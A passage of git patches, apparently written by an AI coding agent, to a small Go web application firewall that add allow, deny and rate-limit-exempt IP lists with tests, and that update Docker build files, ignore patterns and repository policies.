one refused for -// its size too. ctx is the request's own context. +// returns nil to let the request through. A client in SWWAF_ALLOW_NETS +// skips every check but the size limit. For any other client, +// SWWAF_DENY_NETS comes first, so that a client it refuses is not looked +// up, and then the country lists; a request either refuses is not counted +// for the rate limits. Then come the rate limits, unless the client is in +// SWWAF_RATE_LIMIT_EXEMPT_NETS, so that every other request is counted, +// one refused for its size too. ctx is the request's own context. func (rq *request) check(ctx context.Context) *refusal { - if rq.countryDenied(ctx) { + cfg := rq.h.config + allowed := isInside(rq.client, cfg.AllowNets) + + if !allowed && isInside(rq.client, cfg.DenyNets) { + return &refusal{ + status: http.StatusForbidden, + action: requestlog.ActionDenied, + } + } + + if !allowed && rq.countryDenied(ctx) { return &refusal{ status: http.StatusForbidden, action: requestlog.ActionCountryDenied, } } - limitHit := rq.h.limiter.Count(clientGroup(rq.client), rq.start) - if limitHit != "" { - rq.line.LimitHit = limitHit + if !allowed && !isInside(rq.client, cfg.RateLimitExemptNets) { + limitHit := rq.h.limiter.Count(clientGroup(rq.client), rq.start) + if limitHit != "" { + rq.line.LimitHit = limitHit - return &refusal{ - status: http.StatusTooManyRequests, - action: requestlog.ActionRateLimited, + return &refusal{ + status: http.StatusTooManyRequests, + action: requestlog.ActionRateLimited, + } } } - maxBytes := rq.h.config.RequestMaxBytes + maxBytes := cfg.RequestMaxBytes if maxBytes > 0 && rq.in.ContentLength > maxBytes { return &refusal{ status: http.StatusRequestEntityTooLarge, diff --git a/internal/proxy/staticlists_test.go b/internal/proxy/staticlists_test.go new file mode 100644 index 0000000..58bbe64 --- /dev/null +++ b/internal/proxy/staticlists_test.go @@ -0,0 +1,184 @@ +package proxy_test + +import ( + "net/http" + "strings" + "sync/atomic" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The rate limits count an IPv6 client by its /64, so these two addresses +// are one client for them. The static lists match each address on its own, +// and the tests list listedAddr alone. +const ( + listedAddr = "2001:db8::1" + unlistedAddr = "2001:db8::2" +) + +func TestAllowNetsSkipEveryCheckButTheSizeLimit(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + geojsURL, asked := startGeoJS(t) + // fromKP is in SWWAF_ALLOW_NETS, and in SWWAF_DENY_NETS too, which + // comes after it. + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ + trustedProxies: trustLocalhost, + allowNets: "198.51.100.0/24", + denyNets: fromKP, + deniedCountries: "kp", + rateLimitPerMinute: "1", + requestMaxBytes: "1K", + }) + + // Neither SWWAF_DENY_NETS, the country lists nor the limit of one + // request a minute refuses the client, and its country is not looked + // up. + wantAnswers(t, addr, out, []sentRequest{ + {fromKP, http.StatusOK, requestlog.ActionForward}, + {fromKP, http.StatusOK, requestlog.ActionForward}, + }) + + if len(asked()) != 0 { + t.Errorf("GeoJS was asked about %v, want nothing", asked()) + } + + // The size limit still applies. + body := strings.NewReader(strings.Repeat("a", 2<<10)) + req := newRequest(t, http.MethodPost, addr, "/", body) + req.Header.Set(forwardedFor, fromKP) + wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge) + wantLine(t, out.requestLines(t, 3)[2], + http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge) + + if calls.Load() != 2 { + t.Errorf("the app was called %d times, want 2", calls.Load()) + } +} + +func TestRequestFromAllowNetsIsNotCounted(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out := startProxy(t, app.URL, map[string]string{ + trustedProxies: trustLocalhost, + allowNets: listedAddr, + rateLimitPerMinute: "1", + }) + + // listedAddr's requests are not counted, so the first request from + // unlistedAddr is within the limit of one a minute. + wantAnswers(t, addr, out, []sentRequest{ + {listedAddr, http.StatusOK, requestlog.ActionForward}, + {listedAddr, http.StatusOK, requestlog.ActionForward}, + {unlistedAddr, http.StatusOK, requestlog.ActionForward}, + {unlistedAddr, http.StatusTooManyRequests, requestlog.ActionRateLimited}, + }) +} + +func TestDenyNetsRefuseBeforeTheLookupAndTheBody(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + geojsURL, asked := startGeoJS(t) + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ + trustedProxies: trustLocalhost, + denyNets: "203.0.113.0/24", + deniedCountries: "kp", + }) + + req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")) + req.Header.Set(forwardedFor, fromDE) + wantStatus(t, do(t, req), http.StatusForbidden) + + line := out.requestLine(t) + wantLine(t, line, http.StatusForbidden, requestlog.ActionDenied) + + if line.RequestBytes != 0 { + t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes) + } + + if len(asked()) != 0 { + t.Errorf("GeoJS was asked about %v, want nothing", asked()) + } + + if calls.Load() != 0 { + t.Errorf("the app was called %d times, want none", calls.Load()) + } +} + +func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out := startProxy(t, app.URL, map[string]string{ + trustedProxies: trustLocalhost, + denyNets: listedAddr, + rateLimitPerMinute: "1", + }) + + // listedAddr's refused requests are not counted, so the first request + // from unlistedAddr is within the limit of one a minute. + wantAnswers(t, addr, out, []sentRequest{ + {listedAddr, http.StatusForbidden, requestlog.ActionDenied}, + {listedAddr, http.StatusForbidden, requestlog.ActionDenied}, + {unlistedAddr, http.StatusOK, requestlog.ActionForward}, + {unlistedAddr, http.StatusTooManyRequests, requestlog.ActionRateLimited}, + }) +} + +func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + geojsURL, _ := startGeoJS(t) + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ + trustedProxies: trustLocalhost, + rateLimitExemptNets: listedAddr + "," + fromKP, + deniedCountries: "kp", + rateLimitPerMinute: "1", + }) + + // listedAddr's requests are neither refused nor counted, so the first + // request from unlistedAddr is within the limit of one a minute. The + // country lists still refuse an exempt client. + wantAnswers(t, addr, out, []sentRequest{ + {listedAddr, http.StatusOK, requestlog.ActionForward}, + {listedAddr, http.StatusOK, requestlog.ActionForward}, + {unlistedAddr, http.StatusOK, requestlog.ActionForward}, + {unlistedAddr, http.StatusTooManyRequests, requestlog.ActionRateLimited}, + {fromKP, http.StatusForbidden, requestlog.ActionCountryDenied}, + }) +} + +// sentRequest is a GET request from client, as X-Forwarded-For names it, +// and the status and log line action it should get. +type sentRequest struct { + client string + status int + action string +} + +// wantAnswers sends requests to smallwebwaf at addr one after another and +// checks each one's answer and log line. They must be the first requests +// smallwebwaf is sent, since the log lines are matched to them in order. +func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) { + t.Helper() + + for i, sent := range requests { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, sent.client) + wantStatus(t, do(t, req), sent.status) + wantLine(t, out.requestLines(t, i+1)[i], sent.status, sent.action) + } +} diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 1549c8f..3ada61e 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -26,6 +26,9 @@ const ( // ActionRateLimited is a request refused because it took its client // over a rate limit, or came while the client was over one. ActionRateLimited = "rate_limited" + // ActionDenied is a request refused because its client is in + // SWWAF_DENY_NETS. + ActionDenied = "denied" // ActionCountryDenied is a request refused for its client's country. ActionCountryDenied = "country_denied" // ActionAdmin is a request smallwebwaf answered at one of its own diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index a38505b..85a3301 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -186,6 +186,9 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", "SWWAF_REQUEST_MAX_BYTES": "100M", "SWWAF_RESPONSE_MAX_BYTES": "5G", + "SWWAF_ALLOW_NETS": "", + "SWWAF_RATE_LIMIT_EXEMPT_NETS": "", + "SWWAF_DENY_NETS": "", "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", "SWWAF_RATE_LIMIT_PER_HOUR": "10000", "SWWAF_RATE_LIMIT_PER_DAY": "50000", From 50df9ee36ed7a479e86f56758f5fbf62d6be23c2 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 04:13:35 +0200 Subject: [PATCH 16/64] Re-vendor the canonical files from sneak/prompts at dd4027b (closes #65) The vendored files are fetched from sneak/prompts commit dd4027b. This repository's own entries come after the canonical content, at the end of each file: /bin in .dockerignore, the Go lines of .gitignore and [*.go] in .editorconfig; the test-support deny list has no entries of its own. The lint phase moves to golangci-lint v2.14.0. The build stage now takes the version from git describe on the .git the build context carries, unless VERSION is passed, and fails when .git is present but no version comes out. The test phase drops -count=1, which the policy says it does not need, and keeps its tmpfs build cache. One test calls Header.Get with X-Real-IP, as canonicalheader asks. Model: opus-5-5 --- .dockerignore | 26 ++++-- .gitignore | 30 +++++-- .golangci.yml | 1 + Dockerfile | 33 ++++--- REPO_POLICIES.md | 164 +++++++++++++++++++++++++--------- internal/proxy/client_test.go | 2 +- script/cibuild | 5 +- script/docker | 5 +- 8 files changed, 194 insertions(+), 72 deletions(-) diff --git a/.dockerignore b/.dockerignore index cc93c0b..bb5c293 100644 --- a/.dockerignore +++ b/.dockerignore @@ -13,9 +13,21 @@ # `/myapp`, never `**/myapp`, which also matches `cmd/myapp/` and # deletes the package directory from the context. -# Excluding .git means `git describe` cannot run in any build stage and -# fails quietly there; pass the version in with --build-arg VERSION. -.git +# .git is sent without its config. Without a VERSION build argument the +# stage that compiles runs `git describe --tags --always` on .git, which +# does not need .git/config; that file can hold a credential, such as a +# password in a remote URL or the token the CI checkout step stores there. +# Each submodule keeps a config with the same exposure in its git directory +# under .git/modules/, nested again for a submodule's own submodules, or in +# its own .git directory when it keeps one. +# KNOWN GAP: a submodule whose name has a `config` segment (`config`, +# `deploy/config`, `config/lib`) loses its whole git directory, because +# `**/.git/modules/**/config` also matches that segment's directory +# under .git/modules/. Go's version stamping then fails the build; +# nothing leaks. Name such a submodule without that segment: +# `git submodule add --name`. +**/.git/config +**/.git/modules/**/config # Agent scratch: one full checkout of the repo per in-flight agent. # Anchored because it occurs once where agents run at the repo root. @@ -39,14 +51,13 @@ **/[iI][dD]_[rR][sS][aA] **/[iI][dD]_[dD][sS][aA] **/[iI][dD]_[eE][cC][dD][sS][aA] +**/[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK] **/[iI][dD]_[eE][dD]25519 +**/[iI][dD]_[eE][dD]25519_[sS][kK] # Dependencies: restored inside the image, never copied in. **/node_modules -# The binary `make build` writes on the host; the image builds its own. -/bin - # OS metadata. **/.DS_Store **/Thumbs.db @@ -59,3 +70,6 @@ **/.idea **/.vscode **/*.sublime-* + +# The binary `make build` writes on the host; the image builds its own. +/bin diff --git a/.gitignore b/.gitignore index f706024..4d6a4b5 100644 --- a/.gitignore +++ b/.gitignore @@ -20,11 +20,31 @@ Thumbs.db # Node node_modules/ -# Environment / secrets -.env -.env.* -*.pem -*.key +# Secrets. Unanchored like every entry above, so each matches at every +# depth. Matching is case-sensitive on Linux, so names use character +# ranges rather than a lowercase form that misses `Server.Key`. + +# Environment files. `*.env` covers bare `.env` and the `prod.env` +# convention. Only the templates `example.env` and `sample.env` are +# re-included below. A repository that commits any other template adds +# its own negation after these lines, for example `!.env.example`. +*.[eE][nN][vV] +.[eE][nN][vV].* +.[eE][nN][vV][rR][cC] +!example.env +!sample.env + +# Private keys and the bundles carrying them. +*.[pP][eE][mM] +*.[kK][eE][yY] +*.[pP]12 +*.[pP][fF][xX] +[iI][dD]_[rR][sS][aA] +[iI][dD]_[dD][sS][aA] +[iI][dD]_[eE][cC][dD][sS][aA] +[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK] +[iI][dD]_[eE][dD]25519 +[iI][dD]_[eE][dD]25519_[sS][kK] # Go: the binary `make build` writes, test binaries, profiles and logs /bin/ diff --git a/.golangci.yml b/.golangci.yml index a7a74c2..1b73eb9 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -17,6 +17,7 @@ linters: disable: # Genuinely incompatible with project patterns - exhaustruct # Requires all struct fields + - exhaustruct_v5 # Requires all struct fields (successor to exhaustruct) - godot # Requires comments to end with periods - wrapcheck # Too verbose for internal packages - varnamelen # Short names like db, id are idiomatic Go diff --git a/Dockerfile b/Dockerfile index a4a4632..f38bdcb 100644 --- a/Dockerfile +++ b/Dockerfile @@ -2,8 +2,8 @@ # lint` or `script/lint`, which are themselves a docker build and would # recurse into a daemon that does not exist in a build step. # -# golangci/golangci-lint v2.12.2 (built with go1.26.2), 2026-05-06 -FROM golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240 AS lint +# golangci/golangci-lint v2.14.0 (built with go1.27.0), 2026-09-24 +FROM golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f AS lint WORKDIR /src @@ -32,9 +32,9 @@ COPY . . # Go's build cache is kept on a tmpfs, out of the image: nothing uses it # after this step, and writing it into the image takes seconds. RUN --mount=type=tmpfs,target=/root/.cache/go-build \ - go test -count=1 -timeout 90s -race -cover ./... || \ + go test -timeout 90s -race -cover ./... || \ { echo "--- Rerunning with -v for details ---"; \ - go test -count=1 -timeout 90s -race -v ./...; exit 1; } + go test -timeout 90s -race -v ./...; exit 1; } # Build stage. Nothing is wanted from the two phases above; the copies # are what make BuildKit build them first, so the image, which needs this @@ -46,6 +46,10 @@ FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275 COPY --from=lint /src/go.sum /dev/null COPY --from=test /src/go.sum /dev/null +# This image has git. A tar-stream context keeps the sender's file +# owners, which git refuses. +RUN git config --system --add safe.directory /src + WORKDIR /src COPY go.mod go.sum ./ @@ -53,12 +57,21 @@ RUN go mod download COPY . . -# The version is computed on the host and passed in, because -# .dockerignore excludes .git. -ARG VERSION=dev -RUN CGO_ENABLED=0 go build -trimpath \ - -ldflags="-s -w -X main.Version=${VERSION}" \ - -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf +# The VERSION build arg when one is given, otherwise +# `git describe --tags --always` on the .git in the build context. With +# .git present, a version that is still empty, dev or unknown fails the +# build: git is missing or could not read the checkout. +ARG VERSION +RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ + if [ -e .git ]; then \ + case "$VERSION" in ""|dev|unknown) \ + echo "version is '$VERSION' although .git is present" >&2; \ + exit 1 ;; \ + esac; \ + fi; \ + CGO_ENABLED=0 go build -trimpath \ + -ldflags="-s -w -X main.Version=${VERSION}" \ + -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf # runsvinit, the image's entrypoint, built at the last commit of its # archived repository. It has no go.mod, and `go build` of its directory diff --git a/REPO_POLICIES.md b/REPO_POLICIES.md index 2256291..20382d1 100644 --- a/REPO_POLICIES.md +++ b/REPO_POLICIES.md @@ -1,6 +1,6 @@ --- title: Repository Policies -last_modified: 2026-09-08 +last_modified: 2026-10-04 --- This document covers repository structure, tooling, and workflow standards. Code @@ -104,10 +104,14 @@ style conventions are in separate documents: `lint` phase and a `test` phase, with the final stage depending on both so the image cannot be built unless they pass. For non-server repos the final stage brings up a development environment; for server repos it is the runtime image. - Dockerfiles install development prerequisites by running `script/bootstrap` - rather than duplicating installs inline; COPY `script/` and the dependency - manifests (`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before - running it. + The gate phases and the build stage start from their pinned base images and + install what those images lack either inline, as the canonical Go `Dockerfile` + below does for `git`, or by running `script/bootstrap`, as the `prompts` + repo's own `Dockerfile` does for its yarn packages. The development + environment stage installs development prerequisites by running + `script/bootstrap` rather than duplicating its installs inline. A stage that + runs `script/bootstrap` COPYs `script/` and the dependency manifests + (`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before running it. - **Linting and testing run in Docker, as phases of the `Dockerfile`.** There is no separate lint file. `script/lint` and `script/test` each build one phase @@ -156,11 +160,14 @@ style conventions are in separate documents: not evidence that anything ran: a sub-second build reporting success is a cache hit, not a result. Never invalidate by pruning — `docker builder prune` and friends destroy a build cache shared with every other build on the host. + When a check is added or changed, prove it works by planting a defect it must + catch and watching the run fail on it, then revert the defect. A green run + alone shows neither that the check ran nor that it covers what it should. - **The gate phases are separate stages, and the build stage depends on both.** The lint phase is based on the `golangci/golangci-lint` image (pinned by hash), so lint failures surface in seconds rather than after a full compile, - and the test phase is based on the Go image. The canonical Go repo + and the test phase is based on the Debian Go image. The canonical Go repo `Dockerfile`: ```dockerfile @@ -173,8 +180,9 @@ style conventions are in separate documents: COPY . . RUN golangci-lint run --config .golangci.yml ./... - # Test phase - # golang:1.x-alpine, YYYY-MM-DD + # Test phase. -race needs cgo and so a C compiler, which the Debian Go + # image ships and the alpine one does not. + # golang:1.x, YYYY-MM-DD FROM golang@sha256:... AS test WORKDIR /src COPY go.mod go.sum ./ @@ -191,15 +199,29 @@ style conventions are in separate documents: FROM golang@sha256:... AS builder COPY --from=lint /src/go.sum /dev/null COPY --from=test /src/go.sum /dev/null + RUN apk add --no-cache git + # A tar-stream context keeps the sender's file owners, which git refuses. + RUN git config --system --add safe.directory /src WORKDIR /src COPY go.mod go.sum ./ RUN go mod download COPY . . - ARG VERSION=dev - RUN CGO_ENABLED=0 go build -trimpath \ - -ldflags="-s -w -X main.Version=${VERSION}" \ - -o /app ./cmd/app/ + # The VERSION build arg when one is given, otherwise + # `git describe --tags --always` on the .git in the build context. With + # .git present, a version that is still empty, dev or unknown fails the + # build: git is missing or could not read the checkout. + ARG VERSION + RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ + if [ -e .git ]; then \ + case "$VERSION" in ""|dev|unknown) \ + echo "version is '$VERSION' although .git is present" >&2; \ + exit 1 ;; \ + esac; \ + fi; \ + CGO_ENABLED=0 go build -trimpath \ + -ldflags="-s -w -X main.Version=${VERSION}" \ + -o /app ./cmd/app/ # Runtime stage, and the last one FROM alpine@sha256:... @@ -221,10 +243,41 @@ style conventions are in separate documents: (e.g. a web frontend compiled in a separate stage), the lint phase must create placeholder files so the embed directives resolve. Example: `RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`. - - If the project requires CGO or system libraries for linting (e.g. - `vips-dev`), install them in the lint phase with `apk add`. - - `ARG VERSION=dev` is declared in the stage that compiles and supplied by - `script/docker` and `script/cibuild`; no stage may call `git describe`. + - If the project requires CGO or system libraries for linting, install them + in the lint phase. The `golangci/golangci-lint` image is Debian-based and + has no `apk`, so install with `apt-get` under the Debian package name + (`libvips-dev`, where alpine says `vips-dev`), and delete the package + lists in the same `RUN`, so the layer does not keep them: + + ```dockerfile + RUN apt-get update \ + && apt-get install -y --no-install-recommends libvips-dev \ + && rm -rf /var/lib/apt/lists/* + ``` + + - `.dockerignore` lets `.git` into the build context. It keeps out every git + `config` at any depth (`**/.git/config`, `**/.git/modules/**/config`): the + repository's own, each submodule's under `.git/modules/`, and that of a + submodule keeping its own `.git` directory. `git describe` does not need + them, and each can hold a credential: a password in a remote URL, or the + token the CI checkout step stores there. A submodule whose name has a + `config` segment (`config`, `deploy/config`, `config/lib`) loses its whole + git directory to `**/.git/modules/**/config`, and Go's version stamping + then fails the build: give it a name without that segment + (`git submodule add --name`). The stage that compiles has `git` (the + Debian Go image has it; an alpine one needs `apk add --no-cache git`) and + takes the version from the `VERSION` build argument when one is given, + otherwise from `git describe --tags --always`. That gives the tag on a + tagged commit; on a later commit, the tag, the number of commits since it + and the short commit (`v1.2.3-4-gabc1234`); and the short commit when no + tag is reachable. The stage that compiles also marks its working directory + safe for git (`git config --system --add safe.directory /src`): a context + sent as a tar stream keeps the sender's file owners, and git refuses a + checkout owned by another user, so the version would come out empty. + `ARG VERSION` has no default, and the build fails if the context carries + `.git` and the version still comes out empty, `dev` or `unknown`. A plain + `docker build .` with no build arguments must succeed; a Dockerfile that + refuses an empty build argument drops that refusal and keeps the argument. - Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that runs `script/cibuild` on push, and checks out the repo as its only other step. @@ -233,7 +286,12 @@ style conventions are in separate documents: carry the same guarantee, because its gate phases may come from the cache. The image build is uncached and so runs the gate phases a second time. That is the price of the rule above, and it is worth paying: the image that ships is built - from a run of its own gates rather than from a cache entry. + from a run of its own gates rather than from a cache entry. A separate + workflow limited to `main` by a `branches` list under `on: push` cannot be + checked by review: to try a change to it, add the feature branch to that list + and push, then remove the branch from the list again before merging. Keep any + job in it that publishes behind `if: github.ref_name == 'main'`, so the run + from the feature branch publishes nothing. - Use platform-standard formatters: `black` for Python, `prettier` for JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with @@ -286,17 +344,19 @@ style conventions are in separate documents: ``` `-count=1` is required on both invocations: it defeats Go's test _result_ - cache, so the target cannot report a pass it did not earn, and the rerun - reproduces a failure instead of replaying it. It leaves the build cache - alone, so it costs the runtime of the suite and no recompilation. + cache, so neither run can report a stored pass in place of running the + tests. It leaves the build cache alone, so it costs the runtime of the suite + and no recompilation. - Note that this is a second, independent cache, stacked below the Docker - layer cache that [issue #26](https://git.eeqj.de/sneak/prompts/issues/26) - addresses. `CHECK_EPOCH` guarantees the `RUN make test` _step_ re-executes; - it does not guarantee `go test` inside that step does any work, because the - `GOCACHE` baked into earlier image layers survives into the re-executed - step. They are two separate defects requiring two separate fixes, and a fix - for one must not be recorded as covering the other. + That cache is Go's own, separate from Docker's layer cache. Go stores a + passing result in its cache directory (`GOCACHE`), and when the same tests + run again on unchanged code it prints that result, marked `(cached)`, + without running them. That matters on a developer's machine, where this + target runs and the directory lasts from one run to the next. The `test` + phase of the `Dockerfile` needs no `-count=1`: its base image holds no + result for this repo's tests and nothing before its `go test` step runs a + test, so there is nothing to replay. `--no-cache` (above) is what makes that + step run on an unchanged tree. Python example: @@ -340,7 +400,7 @@ style conventions are in separate documents: — which is more dangerous than a short file with no secret patterns at all, because it reads as solved and stops anyone looking. Give every depth-independent pattern the `**/` prefix and leave only genuinely - root-anchored entries unprefixed: `.git`, and the repo's own host-built + root-anchored entries unprefixed: `.claude`, and the repo's own host-built binary, written `/myapp` and never `**/myapp`, which would also match `cmd/myapp/` and delete the package directory from the context. Matching is case-sensitive, and an ALL-CAPS twin per pattern still misses `Server.Key`, so @@ -365,12 +425,13 @@ style conventions are in separate documents: directory, so a repo running agents in subdirectories still ships `services/api/.claude/` and must add its own anchored entry there. -- **Excluding `.git` means `git describe` cannot run inside any build stage, and - it fails quietly there.** In a build stage there is no repository, so - `git describe` writes nothing to stdout, `-X main.Version=` comes out empty, - the binary reports no version at all, and the build still exits 0. Compute the - version on the host and thread it in as a build arg. `script/docker` and - `script/cibuild` do this, byte-identically across repos: +- **A plain `docker build .` of a clone stamps the version that + `git describe --tags --always` gives**, derived from the `.git` in the build + context as the canonical `Dockerfile` above shows. Without its failure check, + a missing `git` or an unreadable checkout would leave `-X main.Version=` empty + and the build would still exit 0. `script/docker` and `script/cibuild` pass + the version they compute on the host; it takes precedence. They do this + byte-identically across repos: ```sh # Own line: a failing command substitution inside an argument does not @@ -387,7 +448,7 @@ style conventions are in separate documents: fallback is applied — a live check that fires on a build from an export with no `.git` and on a repository with no commits yet. Do not fold it into the substitution as `|| echo unknown`, which makes the guard unreachable. The - Dockerfile's side is `ARG VERSION=dev` in the stage that compiles, declared + Dockerfile's side is `ARG VERSION` in the stage that compiles, declared there because `ARG` is stage-scoped; passing `VERSION` to a repo whose Dockerfile declares no such `ARG` is ignored and costs nothing, which is why the scripts stay byte-identical. One consequence for CI: the standard @@ -426,12 +487,18 @@ style conventions are in separate documents: `test-support` depguard rule, where a repo names its own test-support packages by full import path. A repo adds entries there and changes nothing else, and a re-vendor carries its entries forward. The canonical golangci-lint version is - v2.12.2 (released 2026-05-06), pinned as the digest of the lint phase's base + v2.14.0 (released 2026-09-24), pinned as the digest of the lint phase's base image - (`golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240`, - which reports `2.12.2 built with go1.26.2 from c0d3ddc9`). That digest is the - only pin, since no repo installs golangci-lint on the host: bumping the - version means changing it and nothing else. + (`golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f`, + which reports `2.14.0 built with go1.27.0 from 114493f9`). A module's `go` + directive must not name a newer Go minor version than the one golangci-lint + was built with, or golangci-lint refuses to lint it: this release lints + `go 1.27.1` but not `go 1.28`. That digest is the only pin, since no repo + installs golangci-lint on the host. A repo sets the lint phase digest to the + one named here and re-vendors `.golangci.yml` in the same commit, whichever of + the two prompted the change: the canonical copy can name linters that an older + golangci-lint rejects, and a newer golangci-lint can add linters that + `default: all` switches on until the canonical copy disables them. - **`script/bootstrap` installs a pinned tool by comparing versions, never by testing presence.** An `if ! command -v ; then install; fi` guard tests @@ -455,6 +522,11 @@ style conventions are in separate documents: Keep it POSIX sh: no arrays, no `[[`, no `grep -P`. + A Go tool a repo needs on the host is installed with `go install` pinned to + a commit hash (`go install @`). It is never tracked as + a `go.mod` tool dependency or through a `tools.go` file, either of which + pulls the tool's own dependencies into the repo's `go.mod` and `go.sum`. + - When pinning images or packages by hash, add a comment above the reference with the version and date (YYYY-MM-DD). @@ -567,10 +639,10 @@ style conventions are in separate documents: settings. - Avoid putting files in the repo root unless necessary. Root should contain - only project-level config files (`README.md`, `Makefile`, `Dockerfile`, - `LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`, and - language-specific config). Everything else goes in a subdirectory. Canonical - subdirectory names: + only project-level config files (`README.md`, `AGENTS.md`, `Makefile`, + `Dockerfile`, `LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`, + and language-specific config). Everything else goes in a subdirectory. + Canonical subdirectory names: - `bin/` — executable scripts and tools - `cmd/` — Go command entrypoints; thin only: one `main.go` per binary whose body is a single call into `internal/` or `pkg/`, no project logic in @@ -601,3 +673,7 @@ style conventions are in separate documents: - Go: `go.mod`, `go.sum`, `.golangci.yml` - JS: `package.json`, `yarn.lock`, `.prettierrc`, `.prettierignore` - Python: `pyproject.toml` + +- Guidance for coding agents lives in one `AGENTS.md` at the repository root. It + is never committed under a file or directory named after one agent tool, such + as `CLAUDE.md` or `.claude/`, and never split into separate memory files. diff --git a/internal/proxy/client_test.go b/internal/proxy/client_test.go index 16c48e1..37b4951 100644 --- a/internal/proxy/client_test.go +++ b/internal/proxy/client_test.go @@ -139,7 +139,7 @@ func requestWithHeaders( ForwardedFor: r.Header.Get(forwardedFor), ForwardedHost: r.Header.Get("X-Forwarded-Host"), ForwardedProto: r.Header.Get("X-Forwarded-Proto"), - RealIP: r.Header.Get("X-Real-Ip"), + RealIP: r.Header.Get("X-Real-IP"), }) }) addr, out := startProxy(t, app.URL, env) diff --git a/script/cibuild b/script/cibuild index 688299f..d8d3200 100755 --- a/script/cibuild +++ b/script/cibuild @@ -16,9 +16,8 @@ main() { "$SCRIPT_DIR/check" # Own line: a failing command substitution inside an argument does # not trip `set -e`, so the inline form degrades silently to an - # empty constant. VERSION is computed here because .dockerignore - # excludes .git, so `git describe` in a build stage yields an empty - # version without failing. + # empty constant. The VERSION build argument takes precedence over + # the version a build stage derives from the .git in the context. version="$(git describe --tags --always --dirty 2>/dev/null || true)" [ -n "$version" ] || version="unknown" docker build --no-cache \ diff --git a/script/docker b/script/docker index c4688e8..07b626c 100755 --- a/script/docker +++ b/script/docker @@ -12,9 +12,8 @@ main() { cd "$ROOT" # Own line: a failing command substitution inside an argument does # not trip `set -e`, so the inline form degrades silently to an - # empty constant. VERSION is computed here because .dockerignore - # excludes .git, so `git describe` in a build stage yields an empty - # version without failing. + # empty constant. The VERSION build argument takes precedence over + # the version a build stage derives from the .git in the context. version="$(git describe --tags --always --dirty 2>/dev/null || true)" [ -n "$version" ] || version="unknown" docker build --no-cache \ From 0f85c9ae07a4e4d145e367c54b91655a5721343b Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 05:05:31 +0200 Subject: [PATCH 17/64] The header size and the idle time as settings (closes #70) SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES (default 32K) and SWWAF_CLIENT_IDLE_TIMEOUT (default 120s) replace the two values the proxy fixed. The idle time is read like the other durations, and can be off. Go's server reads 4K past the header limit it is given before it refuses, so it is still given the setting less 4K. The header size must be more than 4K and cannot be off; any other value stops the start with a message that does not offer off. SPEC.md and README.md say so. README.md lists both settings, no longer calls them fixed, and names them as built. Model: opus-5-5 --- README.md | 78 +++++++++++--------- SPEC.md | 7 +- internal/config/config.go | 41 +++++++++-- internal/config/config_test.go | 90 ++++++++++++++++++------ internal/proxy/passthrough_test.go | 63 ++++++++++------- internal/proxy/proxy.go | 28 +++----- internal/proxy/proxy_test.go | 2 + internal/proxy/timeouts_test.go | 23 ++++++ internal/smallwebwaf/smallwebwaf_test.go | 36 +++++----- 9 files changed, 244 insertions(+), 124 deletions(-) diff --git a/README.md b/README.md index 784ca2f..c910dfd 100644 --- a/README.md +++ b/README.md @@ -13,15 +13,17 @@ JSON log line for every request. Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and 